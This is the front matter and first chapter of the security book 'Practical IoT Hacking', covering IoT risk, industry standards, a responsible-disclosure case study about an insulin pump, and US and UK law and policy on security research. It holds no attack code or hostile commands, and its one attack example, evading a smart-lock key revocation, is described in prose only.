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F O R E W O R D

Today’s security programs are designed to handle 
traditional threats in the enterprise. But technology 
moves at such a rapid rate that keeping up with an 
organization’s footprint gets harder and harder. 

The birth of the Internet of Things (IoT) turned traditional manufac-
turing companies to software development companies overnight. These 
companies began combining integrated hardware and software to improve 
their products’ efficiency, updates, ease of use, and maintainability. 
Normally found in critical infrastructures, such as our homes or on our 
enterprise networks, these devices now seemingly provided a new wave of 
features and adaptations to make our lives easier. 

These black boxes have also created a new dilemma for our security 
foundations. Designed from a manufacturing mind-set, they have little 
security integration. They’ve exposed our lives to new threats and provided 
entry points into infrastructure that never existed before. In addition, these 
devices still have little to no monitoring and contain a number of security 
exposures, and we are largely blind to intrusions into them. When we iden-
tify threats to our organization, these devices don’t bubble up. Often, they 
don’t even rise to security review status within the enterprise. 



xx   Foreword

Practical IoT Hacking isn’t just another security book: it’s a philosophy on 
security testing and how we need to change our views on connected devices 
within our homes and enterprise to build a better model for protecting 
ourselves. Many of the manufacturing companies don’t have security prac-
tices built into the development life cycle, and as a result, these systems are 
highly susceptible to attack. These devices are found in nearly every ele-
ment of our lives. IoT impacts every industry vertical and company, posing a 
risk that most organizations aren’t equipped to handle. 

Most people don’t truly understand the risks associated with IoT 
devices. The general thought is that the devices don’t contain sensitive 
information or aren’t critical to the company. In reality, attackers use these 
devices as covert channels into the network that go undetected for long 
periods of time, leading directly to the rest of the organization’s data. As 
an example, I recently contributed to an incident response case for a large 
manufacturing firm. We discovered the attackers had broken into the 
organization through a programmable logic controller (PLC). One of the 
manufacturing plants had utilized a third-party contractor to manage the 
devices, and the attackers had access to the contractor’s systems. This pro-
vided the attackers with access to all of the customer information and to the 
company data for more than two years without the company’s knowledge. 

The PLC was a pivot point to the rest of the network and ultimately had 
direct access to all of the company’s research and development systems, 
which contained the majority of the organization’s intellectual and unique 
property. The only reason this attack was detected was that one of the attack-
ers got sloppy while dumping the domain controller’s usernames and pass-
words, accidently crashing the system and resulting in an investigation. 

The authors of Practical IoT Hacking have put together a book that 
focuses first on understanding what the risks and exposures are through 
threat modeling and how to build a successful testing methodology around 
IoT devices. It expands into hardware hacking, network hacking, radio 
hacking, and targeting the whole IoT ecosystem, building upon technical 
assessments against devices to understand the exposures identified. When 
establishing testing methodologies for IoT devices, this book covers exactly 
what you’ll need to set up not only a testing program for IoT within an 
organization, but also how to conduct the testing. This book aims to change 
how we do security testing in most organizations and to help build a better 
understanding of our risks, including IoT testing as part of that process. 

I recommend this book to anyone technical who manufactures IoT 
devices or anyone with IoT devices in their homes or enterprise. At a time 
when securing our systems and protecting our information has never been 
more important, this book hits the mark. I’m truly excited for this book, 
seeing the work that was put into it, and I know it will help us design a more 
secure IoT infrastructure in the future.

Dave Kennedy  
Founder of TrustedSec, Binary Defense
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I N T R O D U C T I O N

Our dependence on connected technol-
ogy is growing faster than our ability to 

secure it. The same technologies we know 
to be vulnerable, exposed to accidents and 

adversaries in our computer systems and enterprises, 
are now driving us to work, delivering patient care, 
and monitoring our homes. How can we reconcile 
our trust in these devices with their inherent lack of 
trustworthiness?

Cybersecurity analyst Keren Elazari has said that hackers are “the 
immune system of the digital era.” We need technically minded individuals 
to identify, report, and protect society from the harms that the internet-
connected world causes. This work has never been more important, yet too 
few people have the necessary mind-set, skills, and tools. 

This book intends to strengthen society’s immune system to better pro-
tect us all.



xxiv   Introduction

This Book’s Approach
The IoT hacking field has a large breadth, and this book takes a practical 
approach to the topic. We focus on concepts and techniques that will get 
you started quickly with testing actual IoT systems, protocols, and devices. 
We specifically chose to demonstrate tools and susceptible devices that are 
affordable and easy to obtain so you can practice on your own. 

We also created custom code examples and proof-of-concept exploits 
that you can download from the book’s website at https://nostarch.com/
practical-iot-hacking/. Some exercises are accompanied by virtual machines to 
make setting up the targets straightforward. In some chapters, we reference 
popular open source examples that you can readily find online.   

Practical IoT Hacking isn’t a guide to IoT hacking tools, nor does it cover 
every aspect of IoT security, because these topics would take an even bigger 
book to cover, one much too cumbersome to read. Instead, we explore the 
most basic hardware hacking techniques, including interfacing with UART, 
I2C, SPI, JTAG, and SWD. We analyze a variety of IoT network protocols, 
focusing on those that aren’t only important, but also haven’t been exten-
sively covered in other publications. These include UPnP, WS-Discovery, 
mDNS, DNS-SD, RTSP/RTCP/RTP, LoRa/LoRaWAN, Wi-Fi and Wi-Fi 
Direct, RFID and NFC, BLE, MQTT, CDP, and DICOM. We also discuss 
real-world examples that we’ve encountered in past professional testing 
engagements.

Who This Book Is For
No two people share identical backgrounds and experience. Yet analyz-
ing IoT devices requires skills spanning nearly every domain of expertise, 
because these devices combine computing power and connectivity into 
every facet of our world. We can’t predict which parts of this book each per-
son will find the most compelling. But we believe that making this knowl-
edge available to a broad population gives them power to have greater 
control over their increasingly digitizing world. 

We wrote the book for hackers (sometimes called security researchers), 
although we expect that it will be useful to others as well, such as the follow-
ing individuals: 

•	 A security researcher might use this book as a reference for experi-
menting with an IoT ecosystem’s unfamiliar protocols, data structures, 
components, and concepts.

•	 An enterprise sysadmin or network engineer might learn how to better 
protect their environment and their organization’s assets. 

•	 A product manager for an IoT device might discover new requirements 
their customers will assume are already present and build them in, 
reducing cost and the time it takes the product to reach the market.

https://nostarch.com/practical-iot-hacking/
https://nostarch.com/practical-iot-hacking/
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•	 A security assessor might discover a new set of skills to better serve 
their clients.

•	 A curious student might find knowledge that will catapult them into a 
rewarding career of protecting people.

This book was written assuming the reader already has some familiarity 
with Linux command line basics, TCP/IP networking concepts, and cod-
ing. Although not required to follow along in this book, you can also refer 
to supplementary hardware hacking material, such as the The Hardware 
Hacking Handbook by Colin O’Flynn and Jasper van Woudenberg (No Starch 
Press, forthcoming). We recommend additional books in certain chapters.

Kali Linux
Most of the exercises in this book use Kali Linux, the most popular Linux 
distribution for penetration testing. Kali comes with a variety of command 
line tools, all of which we’ll explain in detail as we use them in the book. 
That said, if you don’t know your way around the operating system, we 
recommend reading Linux Basics for Hackers by OccupyTheWeb (No Starch 
Press, 2019) and exploring the material at https://kali.org/, including its free 
course at https://kali.training/. 

To install Kali, follow the instructions at https://www.kali.org/docs/ 
installation/. The version you use shouldn’t matter as long as it’s up to date, 
however, please keep in mind that we tested most of the exercises for rolling 
Kali versions between 2019 and 2020. You can try out older images of Kali 
at http://old.kali.org/kali-images/ if you have trouble installing any particular 
tool. Newer versions of Kali will by default not have all the tools installed, 
but you can add them through the kali-linux-large metapackage. Enter the 
following command in a terminal to install the metapackage: 

$ sudo apt install kali-linux-large

We also recommend using Kali inside a virtual machine. Detailed instruc-
tions are on the Kali website, and various online resources describe how to do 
that using VMware, VirtualBox, or other virtualization technologies. 

How This Book Is Organized
The book has 15 chapters loosely split between five parts. For the most part, 
the chapters are independent from each other, but you might encounter 
references to tools or concepts in later chapters that we introduced in ear-
lier ones. For that reason, although we wrote the book trying to keep most 
chapters self-contained, we recommend reading it in sequential order. 

Part I: The IoT Threat Landscape

Chapter 1: The IoT Security World paves the way for the rest of the 
book by describing why IoT security is important and what makes IoT 
hacking special.

https://kali.org/
https://kali.training/
https://www.kali.org/docs/installation/
https://www.kali.org/docs/installation/
http://old.kali.org/kali-images/
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Chapter 2: Threat Modeling discusses how to apply threat modeling 
in IoT systems, as well as what common IoT threats you’ll find, by walk-
ing through an example threat model of a drug infusion pump and its 
components.

Chapter 3: A Security Testing Methodology lays out a robust frame-
work for conducting holistic manual security assessments on all layers 
of IoT systems.

Part II: Network Hacking

Chapter 4: Network Assessments discusses how to perform VLAN hop-
ping in IoT networks, identify IoT devices on the network, and attack 
MQTT authentication by creating a Ncrack module.

Chapter 5: Analyzing Network Protocols provides a methodology for 
working with unfamiliar network protocols and walks through the 
development process of a Wireshark dissector and Nmap Scripting 
Engine module for the DICOM protocol.

Chapter 6: Exploiting Zero-Configuration Networking explores net-
work protocols used for automating the deployment and configuration 
of IoT systems, showcasing attacks against UPnP, mDNS, DNS-SD, and 
WS-Discovery.

Part III: Hardware Hacking

Chapter 7: UART, JTAG, and SWD Exploitation deals with the inner 
workings of UART and JTAG/SWD by explaining how to enumerate 
UART and JTAG pins and hacking an STM32F103 microcontroller 
using UART and SWD.

Chapter 8: SPI and I2C explores how to leverage the two bus protocols 
with various tools to attack embedded IoT devices.

Chapter 9: Firmware Hacking shows how to obtain, extract, and ana-
lyze backdoor firmware, and examine common vulnerabilities in the 
firmware update process. 

Part IV: Radio Hacking

Chapter 10: Short Range Radio: Abusing RFID demonstrates a variety of 
attacks against RFID systems, such as how to read and clone access cards.

Chapter 11: Bluetooth Low Energy shows how to attack the Bluetooth 
Low Energy protocol by walking through simple exercises.

Chapter 12: Medium Range Radio: Hacking Wi-Fi discusses Wi-Fi asso-
ciation attacks against wireless clients, ways of abusing Wi-Fi Direct, and 
common Wi-Fi attacks against access points.

Chapter 13: Long Range Radio: LPWAN provides a basic introduction to 
the LoRa and LoRaWAN protocols by showing how to capture and decode 
these kinds of packets and discussing common attacks against them. 
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Part V: Targeting the IoT Ecosystem

Chapter 14: Attacking Mobile Applications reviews common threats, 
security issues, and techniques for testing mobile apps on Android and 
iOS platforms.  

Chapter 15: Hacking the Smart Home animates many of the ideas cov-
ered throughout the book by describing techniques for circumventing 
smart door locks, jamming wireless alarm systems, and playing back IP 
camera feeds. The chapter culminates by walking through a real-world 
example of taking control of a smart treadmill.

Tools for IoT Hacking lists popular tools for practical IoT hacking, 
including those we discuss and others that, although not covered in the 
book, are still useful.

Contact
We’re always interested in receiving feedback, and we’re willing to answer 
any questions you might have. You can use errata@nostarch.com to notify 
us about errors when you find them and ithilgore@sock-raw.org for general 
feedback.





PART I 
T H E  I O T  T H R E A T  L A N D S C A P E





From the roof of your apartment building, 
you’re probably surrounded by the Internet 

of Things (IoT). On the street below, hun-
dreds of “computers on wheels” drive by every 

hour, each of them made up of sensors, processors, 
and networking equipment. On the skyline, apartment 
buildings prickle with an array of antennae and dishes 
connecting the many personal assistants, smart micro-
waves, and learning thermostats to the internet. Above, � 
mobile data centers streak through the sky at hundreds of miles per hour, 
leaving a data trail thicker than their contrails. Walk into a manufacturing 
plant, a hospital, or an electronics store and you’ll be similarly overwhelmed 
by the ubiquity of connected devices. 

Although definitions differ widely, even among experts, for purposes 
of this book, the term IoT refers to physical devices that have comput-
ing power and can transfer data over networks, yet don’t typically require 

1
T H E  I O T  S E C U R I T Y  W O R L D
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human-to-computer interaction. Some people describe IoT devices by what 
they almost are: “like computers, but not quite.” We often label specific IoT 
devices as “smart”—for instance, a smart microwave—although many peo-
ple have begun questioning the wisdom of doing so. (See Lauren Goode’s 
2018 article in The Verge, “Everything is connected, and there’s no going 
back.”) It’s doubtful that a more authoritative definition of IoT will arrive 
anytime soon.

For hackers, the IoT ecosystem is a world of opportunities: billions of 
interconnected devices transferring and sharing data, creating a massive 
playground for tinkering, crafting, exploiting, and taking these systems to 
their limits. Before we dive into the technical details of hacking and secur-
ing IoT devices, this chapter introduces you to the world of IoT security. 
We’ll conclude with three case studies about the legal, practical, and per-
sonal aspects of securing IoT devices.

Why Is IoT Security Important?
You’ve probably heard the statistics: tens of billions of new IoT devices will 
exist by 2025, increasing global GDP by tens of trillions of dollars. But that’s 
only if we get things right and the new devices fly off the shelves. Instead, 
we’ve seen safety, security, privacy, and reliability concerns stifling adoption. 
Security concerns can be as much of a deterrent as the price of a device.

Slow growth in the IoT industry isn’t just an economic issue. IoT devices 
in many areas have the potential to improve lives. In 2016, 37,416 people 
died on American highways. According to the National Highway Traffic 
Safety Administration, 94 percent of those deaths were caused by human 
error. Autonomous vehicles can drastically reduce those numbers and make 
our roads safer, but only if they’re trustworthy.

In other parts of our lives, we also stand to reap benefits from adding 
greater capabilities to our devices. For instance, in health care, pacemakers 
that can send data to the doctor daily will significantly reduce death from 
heart attacks. Yet in a panel discussion at the Cardiac Rhythm Society, a 
doctor from the Veteran’s Affairs system said that her patients refused to 
get implanted devices because they were afraid of hacking. Many people in 
industry, government, and the security research communities fear that a 
crisis of confidence will delay lifesaving technology by years or decades. 

Of course, as these same technologies become increasingly intertwined 
with our lives, we must know—not just hope—that they’re worthy of the trust 
we place in them. In a UK government-funded study of consumer beliefs 
about IoT devices, 72 percent of respondents expected that the security was 
already built in. Yet for much of the IoT industry, security is an aftermarket 
afterthought.

In October 2016, the Mirai botnet attacks occurred, and the US fed-
eral government, along with others around the world, collectively took 
notice. This escalating series of attacks co-opted hundreds of thousands 
of low-cost devices for its own purposes, gaining access through well-
known default passwords, such as admin, password, and 1234. It culminated 
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in a Distributed Denial of Service (DDoS) against Domain Name System (DNS) 
provider Dyn, part of the internet infrastructure for many American giants, 
such as Amazon, Netflix, Twitter, the Wall Street Journal, Starbucks, and 
more. Customers, revenue, and reputations were shaken for more than 
eight hours. 

Many people assumed the attacks had been the work of a foreign 
national power. Shortly after Mirai, the WannaCry and NotPetya attacks 
caused trillions of dollars in damage globally, partially because they 
impacted IoT systems used in critical infrastructure and manufactur-
ing. They also left governments with the distinct impression that they 
were behind the curve in their duty to protect their citizens. WannaCry 
and NotPetya were essentially ransomware attacks that weaponized the 
EternalBlue exploit, which takes advantage of a vulnerability in Microsoft’s 
implementation of the Server Message Block (SMB) protocol. By December 
2017, when it was revealed that Mirai had been designed and executed by 
a few college-aged kids, governments around the world knew they had to 
examine the extent of the IoT security problem.

There are three paths forward for IoT security: the status quo can 
remain, consumers can begin to “bolt” security onto devices that are inse-
cure by default, or manufacturers can build security into the devices at the 
outset. In the status quo scenario, society would come to accept regular 
harms from security issues as a necessary part of using IoT devices. In the 
aftermarket security scenario, new companies would fill the void neglected 
by device manufacturers, and buyers would end up paying more for security 
whose capabilities are less fit for purpose. In the third scenario in which 
manufacturers build security capabilities into their devices, buyers and 
operators become better equipped to address issues and risk and cost deci-
sions shift toward more efficient points in the supply chain. 

We can draw instruction from the past to see how these three scenar-
ios, especially the last two, might work out. For instance, the original fire 
escapes in New York were frequently bolted to the outside of buildings. As a 
result, they often increased cost and harm to the occupants overall, accord-
ing to an Atlantic article titled “How the Fire Escape Became an Ornament.” 
Today, they’re built into buildings, often the first thing constructed, and 
residents have never been safer from fires. Much the same as fire escapes in 
buildings, security built into IoT devices can bring new capabilities not pos-
sible in bolted-on approaches, such as updatability, hardening, threat mod-
eling, and component isolation—all of which you’ll read about in this book.

Note that the aforementioned three paths forward aren’t mutually 
exclusive; the IoT market can support all three scenarios.

How Is IoT Security Different than Traditional IT Security?
IoT technology differs from more familiar information technology (IT) 
in key ways. I Am The Cavalry, a global grassroots initiative in the security 
research community, has an instructional framework for comparing the two 
and is outlined here.
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Consequences of IoT security failures might cause a direct loss of life. 
They could also shatter confidence in the firm or the broader industry as 
well as trust in a government’s ability to safeguard citizens through over-
sight and regulation. For instance, when WannaCry hit, patients with time-
sensitive conditions, such as strokes or heart attacks, undoubtedly went 
untreated because the attack delayed care delivery for days.

The adversaries who attack these kinds of systems have different goals, 
motivations, methods, and capabilities. Some adversaries might try to 
avoid causing harm, whereas others might seek out IoT systems specifically 
to cause harm. For instance, hospitals are frequently targeted for ransom 
because the potential harm to patients increases the likelihood and speed 
of the victims paying.

The composition of IoT devices, including safety systems, creates con-
straints that aren’t found in typical IT environments. For instance, size and 
power constraints in a pacemaker create challenges for applying conven-
tional IT security approaches that require high amounts of storage or com-
puting power.

IoT devices often operate in specific contexts and environments, such as 
homes, where they’re controlled by individuals without the knowledge or 
resources needed for secure deployment, operation, and maintenance. 
For instance, we shouldn’t expect the driver of a connected car to install 
aftermarket security products, such as antivirus protection. Nor should we 
expect them to have the expertise or capability to respond quickly enough 
during a security incident. But we would expect this of an enterprise.

The economics of IoT manufacturing drive device costs (and therefore 
component costs) to a minimum, often making security an expensive 
afterthought. Also, many of these devices are targeted at price-sensitive 
customers who lack experience selecting and deploying infrastructure 
securely. Additionally, the costs of the devices’ insecurity frequently accrue 
to individuals who aren’t the primary owner or operator of a device. For 
instance, the Mirai botnet took advantage of hardcoded passwords, embed-
ded in chipset firmware, to spread. Most owners didn’t know that they 
should change their passwords or didn’t know how to do so. Mirai cost the 
US economy billions of dollars by targeting a third-party DNS supplier that 
didn’t own any impacted devices. 

Timescales for design, development, implementation, operation, and 
retirement are often measured in decades. Response time might also be 
extended because of composition, context, and environment. For instance, 
connected equipment at a power plant is often expected to live for more 
than 20 years without replacement. But attacks against a Ukrainian energy 
supplier caused outages mere seconds after the adversaries took action 
within the industrial control’s infrastructure.

What’s Special About IoT Hacking?
Because IoT security differs from traditional IT security in significant 
ways, hacking IoT systems requires different techniques as well. An IoT 
ecosystem is typically composed of embedded devices and sensors, mobile 
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applications, cloud infrastructure, and network communication protocols. 
These protocols include those on the TCP/IP network stack (for example, 
mDNS, DNS-SD, UPnP, WS-Discovery, and DICOM), as well as protocols 
used in short-range radio (like NFC, RFID, Bluetooth, and BLE), medium-
range radio (like Wi-Fi, Wi-Fi Direct, and Zigbee), and long-range radio 
(like LoRa, LoRaWAN, and Sigfox). 

Unlike traditional security tests, IoT security tests require you to inspect 
and often disassemble the device hardware, work with network protocols 
that you won’t normally encounter in other environments, analyze device-
controlling mobile apps, and examine how devices communicate to web 
services hosted on the cloud through application programming interfaces 
(APIs). We explain all of these tasks in detail throughout the following 
chapters.

Let’s look at an example of a smart door lock. Figure 1-1 shows a com-
mon architecture for smart lock systems. The smart lock communicates 
with the user’s smartphone app using Bluetooth Low Energy (BLE), and 
the app communicates with the smart lock servers on the cloud (or as some 
would still say, someone else’s computer) using an API over HTTPS. In this 
network design, the smart lock relies on the user’s mobile device for con-
nectivity to the internet, which it needs to receive any messages from the 
server on the cloud. 

Internet

Mobile app Smart lock

BLE

API (HTTPS)
Cloud server

Figure 1-1: Network diagram of a smart lock system

All three components (the smart lock device, smartphone app, and 
cloud service) interact and trust each other, making for an IoT system that 
exposes a large attack surface. Consider what happens when you revoke the 
digital key to your Airbnb guest using this smart lock system. As the owner 
of the apartment and the smart lock device, your mobile app is authorized 
to send a message to the cloud service that cancels the guest user’s key. Of 
course, you might not be anywhere near the apartment and the lock when 
you do that. After the server receives your revocation update, it sends a 
special message to the smart lock to update its access control list (ACL). If 
a malicious guest simply puts their phone on airplane mode, the smart lock 
won’t be able to use it as a relay to receive this state update from the server, 
and they’ll still be able to access your apartment. 
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A simple revocation evasion attack like the one we just described is 
indicative of the types of vulnerabilities you’ll come across when you hack 
IoT systems. In addition, the constraints imposed by using small, low-power, 
low-cost embedded devices only increase the insecurity of these systems. For 
example, instead of using public key cryptography, which is resource inten-
sive, IoT devices usually rely only on symmetric keys to encrypt their com-
munication channels. These cryptographic keys are very often non-unique 
and hardcoded in the firmware or hardware, which means that attackers 
can extract them and then reuse them in other devices. 

Frameworks, Standards, and Guides
The standard approach to dealing with these security issues is to implement, 
well, standards. In the past few years, many frameworks, guidelines, and 
other documents have tried to solve different aspects of the security and 
trust problem in IoT systems. Although standards are meant to consolidate 
industries around generally accepted best practices, the existence of too 
many standards creates a fractured landscape, indicating a broad disagree-
ment about how to do something. But we can draw a lot of value from look-
ing at the various standards and frameworks, even as we recognize that 
there’s no consensus about the best way to secure IoT devices. 

First, we can separate those documents that inform design from those 
that govern operation. The two are interrelated because a device’s designed 
capabilities are available to operators to secure their environments. The 
converse is also true: many capabilities absent in the device’s design are 
impossible to implement in operations, such as secure software updates, 
forensically sound evidence capture, in-device isolation and segmentation, 
and secure failure states, among others. Procurement guidance documents, 
often issued by companies, industry associations, or governments, can help 
bridge the two documents.

Second, we can distinguish frameworks from standards. The first defines 
categories of achievable goals, and the second defines processes and speci-
fications for achieving those goals. Both are valuable, yet frameworks are 
more evergreen and broadly applicable because security standards fre-
quently age quickly and work best when they’re use-case specific. On the 
other hand, some standards are extremely useful and form core compo-
nents of IoT technology, such as those for interoperability, like IPv4 and 
Wi-Fi. As a result, a combination of frameworks and standards can lead to 
effective governance of a technical landscape. 

In this book, we reference frameworks and standards, where appropri-
ate, to give designers and operators guidance on how to fix issues that secu-
rity researchers identify when they use the tools, techniques, and processes 
we outline. Here are examples of standards, guidance documents, and 
frameworks:

Standards    The European Telecommunications Standards Institute 
(ETSI), founded in 1988, creates more than 2,000 standards every year. 
Its Technical Specification for Cyber Security for Consumer Internet of 
Things outlines detailed provisions for building IoT devices securely. 
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The US National Institute of Standards and Technology (NIST) and 
the International Organization for Standardization (ISO) publish sev-
eral standards that support secure IoT devices. 

Frameworks    I Am The Cavalry, founded in 2013, is a global grassroots 
initiative composed of members of the security research community. Its 
Hippocratic Oath for Connected Medical Devices (Figure 1-2) describes 
objectives and capabilities for designing and developing medical devices. 
Many of these have been adopted into the FDA’s regulatory criteria 
for approving medical devices. Other frameworks include the NIST 
Cybersecurity Framework (which applies to owning and operating IoT 
devices), Cisco’s IoT security framework, and the Cloud Security Alliance 
IoT Security Controls Framework, among others.

Guidance documents    The Open Web Application Security Project 
(OWASP), started in 2001, has branched out well beyond the scope of 
its namesake. Its Top 10 lists have become powerful tools for software 
developers and IT procurement and are used to increase the level of 
security across various projects. In 2014, its IoT Project (Figure 1-3) 
published its first Top 10 list. The latest version (as of this writing) is 
from 2018. Other guidance documents include the NIST IoT Core 
Baseline, the NTIA IoT Security Upgradability and Patching resources, 
ENISA’s Baseline Security Recommendations for IoT, the GSMA IoT 
Security Guidelines and Assessment, and the IoT Security Foundation 
Best Practice Guidelines.

Figure 1-2: The Hippocratic Oath for Connected Medical Devices, an IoT framework
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Figure 1-3: The OWASP Top 10 Internet of Things risks, a guidance document
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Case Study: Finding, Reporting, and Disclosing an 
IoT Security Issue

Although the bulk of this book details technical considerations, you should 
understand some of the other factors that affect IoT security research. These 
factors, learned from lifetimes of working in this field, include the trade-offs 
you must make when disclosing a vulnerability and what researchers, manu-
facturers, and the general public should take into account when doing so. 
The following case study outlines an IoT security research project that ended 
successfully. We highlight how and why. 

In 2016, Jay Radcliffe, a security researcher and type I diabetic, discov-
ered and reported three security issues in the Animas OneTouch Ping insu-
lin pump to the manufacturer. His work began in the prior months when 
he bought devices, built a test lab, and identified threats to test against. In 
addition, he sought legal advice to ensure that his testing followed national 
and local laws.

Jay’s primary goal was to protect patients, so he reported the vulnerabil-
ity through the manufacturer’s coordinated vulnerability disclosure policy. 
Through email, phone, and in-person conversations, Jay explained the 
technical details, the impact of the issues, and the steps needed to mitigate 
them. This process took several months, during which time he demonstrated 
an exploitation of the vulnerabilities and provided proof-of-concept code. 

Later that year, when Jay learned that the manufacturer had no plans 
to produce any technical fix until it released a new version of the hardware, 
he published a public disclosure that included the following response: “If 
any of my children became diabetic and the medical staff recommended 
putting them on a pump, I would not hesitate to put them on an OneTouch 
Ping. It is not perfect, but nothing is.” See https://blog.rapid7.com/2016/10/04/
r7-2016-07-multiple-vulnerabilities-in-animas-onetouch-ping-insulin-pump/ for the 
full disclosure.  

Jay had been working for nearly a year to find the vulnerability and get 
it fixed. He was scheduled to present his work at a major conference after 
the manufacturer had notified the affected patients. Many patients relied 
on postal mail for these types of communications, and unfortunately, the 
mail wouldn’t arrive until after his talk. Jay made the difficult decision to 
cancel his talk at the conference so patients could find out about the issue 
from their doctor or the company rather than from a news article.

You can learn several lessons from examples set by mature security 
researchers like Jay: 

They consider the effect of their discoveries on the people 
involved.     Jay’s preparation involved not just getting legal perspec-
tives, but also ensuring that his testing wouldn’t impact anyone out-
side the lab. In addition, he ensured that patients learned about the 
issues from people they trusted, reducing the chance that they’d 
panic or stop using the lifesaving technology. 

https://blog.rapid7.com/2016/10/04/r7-2016-07-multiple-vulnerabilities-in-animas-onetouch-ping-insulin-pump/
https://blog.rapid7.com/2016/10/04/r7-2016-07-multiple-vulnerabilities-in-animas-onetouch-ping-insulin-pump/
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They inform rather than supplant decision-making.     Jay understood 
that the manufacturer had dedicated fewer resources to fixing older 
devices and instead focused on creating newer products to save and 
improve even more lives. Instead of pushing for the device makers to 
patch the old vulnerable devices, he deferred to their judgment.

They lead by example.     Jay, as well as many other researchers in health 
care, have fostered long-term relationships with patients, regulators, doc-
tors, and manufacturers. In many cases, this has meant foregoing public 
recognition and paid projects, as well as exercising extreme patience. But 
the results speak for themselves. The leading device makers are produc-
ing the most secure medical devices ever while engaging the security 
research community at events like the Biohacking Village at DEF CON. 

They know the law.     Security researchers have been receiving legal 
threats for decades. Some of them frivolous. Others, not so much. 
Although experts are still working on standardized language for regu-
lating coordinated disclosure and bug bounty programs, researchers 
have rarely, if ever, faced legal consequences for disclosing within these 
programs.

Expert Perspectives: Navigating the IoT Landscape
We reached out to several recognized experts in law and public policy 
to help inform readers about topics not traditionally covered in hacking 
books. Harley Geiger writes on two laws relevant to security researchers in 
the United States, and David Rogers covers efforts underway in the United 
Kingdom to improve security of IoT devices.

IoT Hacking Laws 
Harley Geiger, Director of Public Policy, Rapid7

Arguably, the two most important federal laws affecting IoT research are 
the Digital Millennium Copyright Act (DMCA) and the Computer Fraud 
and Abuse Act (CFAA). Let’s take a quick look at these gruesome statutes.

A lot of IoT security research involves working around weak protections 
to software, but the DMCA normally forbids circumventing technological 
protection measures (TPMs), such as encryption, authentication requirements, 
and region coding, to access copyrighted works (like software) without the 
copyright owner’s permission. This would require researchers to get per-
mission from IoT software manufacturers before performing IoT security 
research—even for devices you own! Fortunately, there’s a specific exemption 
for security testing in good faith, enabling security researchers to circum-
vent TPMs without the copyright owner’s permission. The Librarian of 
Congress authorized this exemption at the request of the security research 
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community and its allies. As of 2019, to obtain legal protection under the 
DMCA, the research must meet these basic parameters:

•	 The research must be on a device that is lawfully acquired (for exam-
ple, authorized by the computer owner).

•	 The research must be solely for the purpose of testing or correcting 
security vulnerabilities.

•	 The research must be performed in an environment designed to avoid 
harm (so, not in a nuclear plant or a congested highway).

•	 The information derived from the research must be used primarily to 
promote the safety or security of devices, computers, or their users (not 
primarily for piracy, for example).

•	 The research must not violate other laws, such as (but not limited to) 
the CFAA.

There are two exemptions, but only one provides any real protection. 
This stronger exemption must be renewed every three years by the Librarian 
of Congress, and the scope of the protection can change when it’s renewed. 
Some of the most progressive outcomes for legal protections for security 
research happen as a result of this process. The most recent, 2018 version 
of the DMCA security testing exemption appears at https://www.govinfo.gov/
content/pkg/FR-2018-10-26/pdf/2018-23241.pdf#page=17/.

The CFAA comes up a lot, too; as you just saw, it’s referenced in the secu-
rity testing protections under the DMCA. The CFAA is the United States’ 
foremost federal anti-hacking law, and—unlike the DMCA—the law doesn’t 
presently include direct protections for security testing. But the CFAA gener-
ally applies to accessing or damaging other peoples’ computers without the 
computer owner’s authorization (not, as with the DMCA, the software copy-
right’s owner). Well, what if you’re authorized to use an IoT device (say, by 
an employer or a school) but your IoT research would exceed this authoriza-
tion? Ah, the courts are still arguing over that one. Welcome to one of the 
legal gray areas of the CFAA, which by the way was enacted more than 30 
years ago. Nonetheless, if you’re accessing or damaging an IoT device that 
you own or are authorized (by the computer owner) to perform research on, 
you’re more likely in the clear under the DMCA and CFAA. Congrats.

But wait! Many other laws can implicate IoT security research, particu-
larly state anti-hacking laws, which can be even broader and vaguer than 
the CFAA. (Fun fact: Washington state’s hacking law has a specific legal 
protection for “white hat hackers.”) The point is, don’t assume your IoT 
security research is ultralegal just because you’re not violating DMCA or 
CFAA—although that’s a very good start! 

If you find these legal protections confusing or intimidating, you’re not 
alone. These laws are complex and literally boggle even the keen minds of 
lawyers and elected officials, but there’s a determined and growing effort to 
clarify and strengthen legal protections for security research. Your voice and 
experiences dealing with ambiguous laws that deter valuable IoT security 
research can be a helpful contribution to the ongoing debate over reforming 
the DMCA, CFAA, and other laws. 

https://www.govinfo.gov/content/pkg/FR-2018-10-26/pdf/2018-23241.pdf#page=17/
https://www.govinfo.gov/content/pkg/FR-2018-10-26/pdf/2018-23241.pdf#page=17/
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The Role of Government in IoT Security
David Rogers, CEO of Copper Horse Security, author of UK Code of Practice, and Member of 
the Order of the British Empire (MBE) for services to Cyber Security

Governments have the unenviable task of protecting a society while enabling 
the economy to flourish. Although states around the world have been hesi-
tant to weigh in on IoT security for fear of stifling innovation, events like the 
Mirai botnet, WannaCry, and NotPetya have caused legislatures and regula-
tors to rethink their hands-off approach.

One such government effort is the UK’s Code of Practice. First pub-
lished in March 2018, it aims to make the United Kingdom the safest place 
to live and do business online. The state recognized that the IoT ecosystem 
had huge potential, but also huge risks, because manufacturers were failing 
to protect consumers and citizens. In 2017, it put an Expert Advisory Group 
together, composed of people from across industry, government, and aca-
demia, which started looking at the problem. In addition, the initiative 
consulted many members of the security research community, including 
organizations such as I Am The Cavalry.

The code settled on 13 guidelines that, as a whole, would raise the 
bar of cybersecurity, not just for devices, but also for the surrounding eco-
system. It applies to mobile application developers, cloud providers, and 
mobile network operators, as well as retailers. This approach shifts the 
burden of security from consumers to organizations better equipped and 
incentivized to address security issues earlier in the device life cycle.

You can read the entire code at https://www.gov.uk/government/publications/ 
code-of-practice-for-consumer-iot-security/. The most urgent items are the top 
three: avoiding default passwords, implementing and acting on a vulner-
ability disclosure policy, and ensuring software updates are available for 
devices. The author described these guidelines as insecurity canaries; if an 
IoT product fails to meet these guidelines, the rest of the product is prob-
ably flawed as well.

The code took a truly international approach, recognizing the fact that 
the IoT world and its supply chain are global concerns. The code has drawn 
support from dozens of companies around the globe, and the ETSI adopted 
it as ETSI Technical Specification 103 645 in January 2019.

For more information on specific government policies on IoT security, 
see the I Am The Cavalry IoT Cyber Safety Policy Database at https://iatc.me/
iotcyberpolicydb/.

Patient Perspectives on Medical Device Security
Designing and developing IoT devices can force manufacturers to make 
some difficult trade-offs. Security researchers who rely on medical devices 
for their own care, such as Marie Moe and Jay Radcliffe, know these trade-
offs well.

https://www.gov.uk/government/publications/code-of-practice-for-consumer-iot-security/
https://www.gov.uk/government/publications/code-of-practice-for-consumer-iot-security/
https://iatc.me/iotcyberpolicydb/
https://iatc.me/iotcyberpolicydb/
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Marie Moe, @mariegmoe, SINTEF

